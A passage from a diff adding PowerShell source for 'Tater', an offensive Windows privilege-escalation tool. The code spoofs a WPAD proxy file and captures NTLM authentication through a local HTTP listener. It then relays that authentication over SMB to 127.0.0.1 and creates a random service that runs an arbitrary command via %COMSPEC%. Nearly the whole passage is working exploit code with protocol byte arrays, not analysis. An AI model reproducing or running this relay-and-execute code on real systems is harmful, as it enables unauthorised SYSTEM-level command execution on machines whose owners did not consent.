's') - Tater was successful and has exited") + } + else + { + $tater.console_queue.add("$(Get-Date -format 's') - Tater was not successful and has exited") + } + + Start-Sleep -s 1 + $tater.running = $false + } +} + +# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response +$SMB_NTLM_functions_scriptblock = +{ + Function SMBNTLMChallenge + { + param ([byte[]]$payload_bytes) + + $payload = [System.BitConverter]::ToString($payload_bytes) + $payload = $payload -replace "-","" + $NTLM_index = $payload.IndexOf("4E544C4D53535000") + + if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") + { + $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) + } + + return $NTLM_challenge + } +} + +# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target +$SMB_relay_challenge_scriptblock = +{ + Function SMBRelayChallenge + { + param ($SMB_relay_socket,$HTTP_request_bytes) + + if ($SMB_relay_socket) + { + $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() + } + + $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024 + + $i = 0 + + :SMB_relay_challenge_loop while ($i -lt 2) + { + switch ($i) + { + 0 { + [Byte[]] $SMB_relay_challenge_send = (0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x01,0x48)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` + + $tater.process_ID_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00) + } + + 1 { + $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length)) + $SMB_blob_length = $SMB_blob_length -replace "-00-00","" + $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 28)) + $SMB_byte_count = $SMB_byte_count -replace "-00-00","" + $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 87)) + $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" + $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + [array]::Reverse($SMB_netbios_length) + + [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)` + + $SMB_netbios_length` + + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x03,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` + + $tater.process_ID_bytes` + + (0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` + + $SMB_blob_length` + + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` + + $SMB_byte_count` + + $HTTP_request_bytes` + + (0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x00,0x00)` + + (0x6a,0x00,0x43,0x00,0x49,0x00,0x46,0x00,0x53,0x00,0x00,0x00) + } + } + + $SMB_relay_challenge_stream.Write($SMB_relay_challenge_send, 0, $SMB_relay_challenge_send.length) + $SMB_relay_challenge_stream.Flush() + + $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes, 0, $SMB_relay_challenge_bytes.length) + + $i++ + } + + return $SMB_relay_challenge_bytes + } +} + +# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target +$SMB_relay_response_scriptblock = +{ + Function SMBRelayResponse + { + param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID) + + $SMB_relay_response_bytes = New-Object System.Byte[] 1024 + + if ($SMB_relay_socket) + { + $SMB_relay_response_stream = $SMB_relay_socket.GetStream() + } + + $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length)) + $SMB_blob_length = $SMB_blob_length -replace "-00-00","" + $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 28)) + $SMB_byte_count = $SMB_byte_count -replace "-00-00","" + $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 88)) + $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" + $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + [array]::Reverse($SMB_netbios_length) + $j = 0 + + :SMB_relay_response_loop while ($j -lt 1) + { + [Byte[]] $SMB_relay_response_send = (0x00,0x00)` + + $SMB_netbios_length` + + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x03,0xc8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` + + $tater.process_ID_bytes` + + $SMB_user_ID` + + (0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` + + $SMB_blob_length` + + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` + + $SMB_byte_count` + + $HTTP_request_bytes` + + (0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x00,0x00)` + + (0x6a,0x00,0x43,0x00,0x49,0x00,0x46,0x00,0x53,0x00,0x00,0x00) + + $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length) + $SMB_relay_response_stream.Flush() + + $SMB_relay_response_stream.Read($SMB_relay_response_bytes, 0, $SMB_relay_response_bytes.length) + + $tater.SMB_relay_active_step = 2 + + $j++ + + } + return $SMB_relay_response_bytes + } +} + +# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session +$SMB_relay_execute_scriptblock = +{ + Function SMBRelayExecute + { + param ($SMB_relay_socket,$SMB_user_ID) + + if ($SMB_relay_socket) + { + $SMB_relay_execute_stream = $SMB_relay_socket.GetStream() + } + + $SMB_relay_failed = $false + $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 + $SMB_service_random = [String]::Join("00-", (1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service = $SMB_service_random -replace "-00","" + $SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1) + $SMB_service = $SMB_service.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) + $SMB_service_random += '00-00-00' + [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_referent_ID_bytes = [String](1..4 | ForEach-Object{"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $Command = "%COMSPEC% /C `"" + $Command + "`"" + [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{ $SMB_relay_command += "{0:X2}-00-" -f $_ } + + if([bool]($Command.length%2)) + { + $SMB_relay_command += '00-00' + } + else + { + $SMB_relay_command += '00-00-00-00' + } + + [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237) + $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] + $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237 - 63) + $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1] + $SMB_relay_command_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length / 2) + + $k = 0 + + :SMB_relay_execute_loop while ($k -lt 12) + { + switch ($k) + { + + 0 { + [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00,0x18,0x01,0x48)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)` + + $tater.process_ID_bytes` + + $SMB_user_ID` + + (0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00,0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31)` + + (0x30,0x2e,0x32,0x2e,0x31,0x30,0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00) + } + + 1 { + [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00,0x18,0x02,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $tater.process_ID_bytes` + + $SMB_user_ID` + + (0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` + + (0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01,0x00,0x00,0x00)` + + (0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08,0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00) + } + + 2 { + [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $tater.process_ID_bytes` + + $SMB_user_ID` + + (0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00)` + + (0x00,0x00,0x48,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00)` + + (0x01,0x00,0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03,0x02,0x00,0x00)` + + (0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00) + + $SMB_multiplex_id = (0x05) + } + + 3 { + [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + 4 { + [Byte[]] $SMB_relay_execute_send = (0x00,0x00,0x00,0x9b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $tater.process_ID_bytes` + + $SMB_user_ID` + + (0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x50)` + + (0x00,0x00,0x00,0x5c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x5c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` + + (0x00,0x5c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00,0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03)` + + (0x00,0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)` + + $SMB_service_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00) + + $SMB_multiplex_id = (0x07) + } + + 5 { + [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + 6 { + [Byte[]]$SMB_relay_execute_send = [ARRAY](0x00)` + + $SMB_service_data_length_bytes` + + (0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $tater.process_ID_bytes` + + $SMB_user_ID` + + (0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00)` + + $SMB_service_byte_count_bytes` + + (0x00,0x00)` + + $SMB_service_byte_count_bytes` + + (0x3f,0x00,0x00,0x00,0x00,0x00)` + + $SMB_service_byte_count_bytes` + + (0x05,0x00,0x00,0x03,0x10)` + + (0x00,0x00,0x00)` + + $SMB_service_byte_count_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0c,0x00)` + + $SMB_context_handler` + + (0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)` + + $SMB_service_bytes` + + (0x00,0x00)` + + $SMB_referent_ID_bytes` + + (0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00)` + + $SMB_service_bytes` + + (0x00,0x00,0xff,0x01,0x0f,0x00,0x10,0x01,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` + + $SMB_relay_command_length_bytes` + + (0x00,0x00,0x00,0x00)` + + $SMB_relay_command_length_bytes` + + $SMB_relay_command_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) + + $SMB_multiplex_id = (0x09) + } + + 7 { + [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + + 8 { + [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x73,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $tater.process_ID_bytes` + + $SMB_user_ID` + + (0x0a,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x34)` + + (0x00,0x00,0x00,0x34,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` + + (0x00,0x34,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x13,0x00)` + + $SMB_context_handler` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00) + } + + 9 { + [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + + 10 { + [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x6b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $tater.process_ID_bytes` + + $SMB_user_ID` + + (0x0b,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x0b,0x01,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x2c)` + + (0x00,0x00,0x00,0x2c,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x2c,0x00,0x05,0x00,0x00,0x03,0x10,0x00,0x00)` + + (0x00,0x2c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x02,0x00)` + + $SMB_context_handler + } + 11 { + [Byte[]]$SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest + } + } + + $SMB_relay_execute_stream.write($SMB_relay_execute_send, 0, $SMB_relay_execute_send.length) + $SMB_relay_execute_stream.Flush() + + if ($k -eq 5) + { + $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) + $SMB_context_handler = $SMB_relay_execute_bytes[88..107] + + if(([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '00-00-00-00') -and ([System.BitConverter]::ToString($SMB_context_handler) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00')) + { + #$tater.console_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $SMBRelayTarget") + } + elseif([System.BitConverter]::ToString($SMB_relay_execute_bytes[108..111]) -eq '05-00-00-00') + { + $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator on $SMBRelayTarget") + $SMB_relay_failed = $true + } + else + { + $SMB_relay_failed = $true + } + + } + elseif (($k -eq 7) -or ($k -eq 9) -or ($k -eq 11)) + { + $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) + + switch($k) + { + 7 { + $SMB_context_handler = $SMB_relay_execute_bytes[92..111] + $SMB_relay_execute_error_message = "Service creation fault context mismatch" + } + 11 { + $SMB_relay_execute_error_message = "Service start fault context mismatch" + } + 13 { + $SMB_relay_execute_error_message = "Service deletion fault context mismatch" + } + } + + if([System.BitConverter]::ToString($SMB_context_handler[0..3]) -ne '00-00-00-00') + { + $SMB_relay_failed = $true + } + + if([System.BitConverter]::ToString($SMB_relay_execute_bytes[88..91]) -eq '1a-00-00-1c') + { + $tater.console_queue.add("$SMB_relay_execute_error_message service on $SMBRelayTarget") + $SMB_relay_failed = $true + } + } + else + { + $SMB_relay_execute_stream.Read($SMB_relay_execute_bytes, 0, $SMB_relay_execute_bytes.length) + } + + if((!$SMB_relay_failed) -and ($k -eq 7)) + { + $tater.console_queue.add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $SMBRelayTarget") + } + elseif((!$SMB_relay_failed) -and ($k -eq 9)) + { + $tater.console_queue.add("$(Get-Date -format 's') - Command likely executed on $SMBRelayTarget") + } + elseif((!$SMB_relay_failed) -and ($k -eq 11)) + { + $tater.console_queue.add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $SMBRelayTarget") + } + + [Byte[]]$SMB_relay_execute_ReadAndRequest = (0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00,0x18,0x05,0x28)` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)` + + $tater.process_ID_bytes` + + $SMB_user_ID` + + $SMB_multiplex_ID` + + (0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x58,0x02,0x58,0x02,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00) + + if($SMB_relay_failed) + { + $tater.console_queue.add("$(Get-Date -format 's') - SMB relay failed on $SMBRelayTarget") + BREAK SMB_relay_execute_loop + } + + $k++ + } + + $tater.SMB_relay_active_step = 0 + + $SMB_relay_socket.Close() + + if(!$SMB_relay_failed) + { + $tater.SMBRelay_success = $True + } + } +} + +# HTTP Server ScriptBlock - HTTP listener +$HTTP_scriptblock = +{ + param ($Command,$HTTPPort,$WPADDirectHosts,$WPADPort) + + Function NTLMChallengeBase64 + { + + $HTTP_timestamp = Get-Date + $HTTP_timestamp = $HTTP_timestamp.ToFileTime() + $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + + [byte[]]$HTTP_NTLM_bytes = (0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38,0x00,0x00,0x00,0x05,0xc2,0x89,0xa2)` + + $HTTP_challenge_bytes` + + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00)` + + (0x02,0x00,0x06,0x00,0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54,0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00)` + + (0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24,0x00,0x68,0x00,0x6f,0x00)` + + (0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00,0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00)` + + (0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00)` + + $HTTP_timestamp` + + (0x00,0x00,0x00,0x00,0x0a,0x0a) + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = $HTTP_challenge + + Return $NTLM + + } + + $SMBRelayTarget = "127.0.0.1" + + $HTTP_port_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTPPort) + + $WPADDirectHosts += "localhost" + + $HTTP_content_length = $WPADPort.length + 62 + + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + $HTTP_content_length += $WPAD_direct_host.length + 43 + $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_content_length) + $WPAD_direct_host_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPAD_direct_host) + $WPAD_direct_host_function_bytes = (0x69,0x66,0x20,0x28,0x64,0x6e,0x73,0x44,0x6f,0x6d,0x61,0x69,0x6e,0x49,0x73,0x28,0x68,0x6f,0x73,0x74,0x2c,0x20,0x22)` + + $WPAD_direct_host_bytes` + +(0x22,0x29,0x29,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x22,0x44,0x49,0x52,0x45,0x43,0x54,0x22,0x3b) + $WPAD_direct_hosts_bytes += $WPAD_direct_host_function_bytes + } + + $WPAD_port_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADPort) + + :HTTP_listener_loop while ($tater.running) + { + if($tater.SMBRelay_success) + { + StopTater + } + + $TCP_request = $NULL + $TCP_request_bytes = New-Object System.Byte[] 1024 + + $suppress_waiting_message = $false + + while(!$tater.HTTP_listener.Pending() -and !$tater.HTTP_client.Connected) + { + if(!$suppress_waiting_message) + { + $tater.console_queue.add("$(Get-Date -format 's') - Waiting for incoming HTTP connection") + $suppress_waiting_message = $true + } + Start-Sleep -s 1 + + if($tater.SMBRelay_success) + { + StopTater + } + } + + if(!$tater.HTTP_client.Connected) + { + $tater.HTTP_client = $tater.HTTP_listener.AcceptTcpClient() # will block here until connection + $HTTP_stream = $tater.HTTP_client.GetStream() + } + + while ($HTTP_stream.DataAvailable) + { + $HTTP_stream.Read($TCP_request_bytes, 0, $TCP_request_bytes.Length) + } + + $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) + + if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*") + { + $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) + $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $tater.request_RawUrl = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) + + if($tater.request_RawUrl -eq "") + { + $tater.request_RawUrl = "/" + } + } + + if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") + { + $HTTP_authorization_header = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) + $HTTP_authorization_header = $HTTP_authorization_header.Substring(0,$HTTP_authorization_header.IndexOf("-0D-0A-")) + $HTTP_authorization_header = $HTTP_authorization_header.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $authentication_header = New-Object System.String ($HTTP_authorization_header,0,$HTTP_authorization_header.Length) + } + else + { + $authentication_header = '' + } + + $HTTP_type = "HTTP" + + $HTTP_request_type = "" + + if ($tater.request_RawUrl -match '/wpad.dat') + { + $tater.response_StatusCode = (0x32,0x30,0x30) + $HTTP_response_phrase = (0x4f,0x4b) + $HTTP_WPAD_response = (0x66,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x20,0x46,0x69,0x6e,0x64,0x50,0x72,0x6f,0x78,0x79,0x46,0x6f,0x72,0x55,0x52,0x4c,0x28)` + + (0x75,0x72,0x6c,0x2c,0x68,0x6f,0x73,0x74,0x29,0x7b)` + + $WPAD_direct_hosts_bytes` + + (0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x22,0x50,0x52,0x4f,0x58,0x59,0x20,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a)` + + $WPAD_port_bytes` + + (0x22,0x3b,0x7d) + + $NTLM = '' + $HTTP_request_type = "WPAD" + } + elseif ($tater.request_RawUrl -eq '/GETHASHES') + { + $tater.response_StatusCode = (0x34,0x30,0x31) + $HTTP_response_phrase = (0x4f,0x4b) + $NTLM = 'NTLM' + $HTTP_request_type = "NTLM" + } + else + { + $tater.response_StatusCode = (0x33,0x30,0x32) + $HTTP_location = (0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x70,0x72,0x69,0x76,0x61,0x74,0x65,0x0d,0x0a,0x43,0x6f)` + + (0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73)` + + (0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x45,0x78,0x70,0x69,0x72,0x65,0x73,0x3a,0x20,0x4d,0x6f,0x6e,0x2c,0x20,0x30,0x31,0x20,0x4a)` + + (0x61,0x6e,0x20,0x30,0x30,0x30,0x31,0x20,0x30,0x30,0x3a,0x30,0x30,0x3a,0x30,0x30,0x20,0x47,0x4d,0x54,0x0d,0x0a,0x4c,0x6f,0x63,0x61,0x74,0x69)` + + (0x6f,0x6e,0x3a,0x20,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x6c,0x6f,0x63,0x61,0x6c,0x68,0x6f,0x73,0x74,0x3a)` + + $HTTP_port_bytes` + + (0x2f,0x47,0x45,0x54,0x48,0x41,0x53,0x48,0x45,0x53,0x0d,0x0a) + + $HTTP_response_phrase = (0x4f,0x4b) + $NTLM = '' + $HTTP_request_type = "Redirect" + + if($tater.HTTP_client_handle_old -ne $tater.HTTP_client.Client.Handle) + { + $tater.console_queue.add("$(Get-Date -format 's') - Attempting to redirect to http://localhost:$HTTPPort/gethashes and trigger relay") + } + } + + if(($tater.request_RawUrl_old -ne $tater.request_RawUrl -and $tater.HTTP_client_handle_old -ne $tater.HTTP_client.Client.Handle) -or $tater.HTTP_client_handle_old -ne $tater.HTTP_client.Client.Handle) + { + $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $tater.request_RawUrl + " received from " + $tater.HTTP_client.Client.RemoteEndpoint.Address) + } + + if($authentication_header.startswith('NTLM ')) + { + $authentication_header = $authentication_header -replace 'NTLM ','' + [byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) + $tater.response_StatusCode = (0x34,0x30,0x31) + $HTTP_response_phrase = (0x4f,0x4b) + + if ($HTTP_request_bytes[8] -eq 1) + { + + if($tater.SMB_relay_active_step -eq 0) + { + $tater.SMB_relay_active_step = 1 + $tater.console_queue.add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by " + $tater.HTTP_client.Client.RemoteEndpoint.Address) + $tater.console_queue.add("$(Get-Date -format 's') - Grabbing challenge for relay from $SMBRelayTarget") + $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient + $SMB_relay_socket.connect($SMBRelayTarget,"445") + + if(!$SMB_relay_socket.connected) + { + $tater.console_queue.add("$(Get-Date -format 's') - SMB relay target is 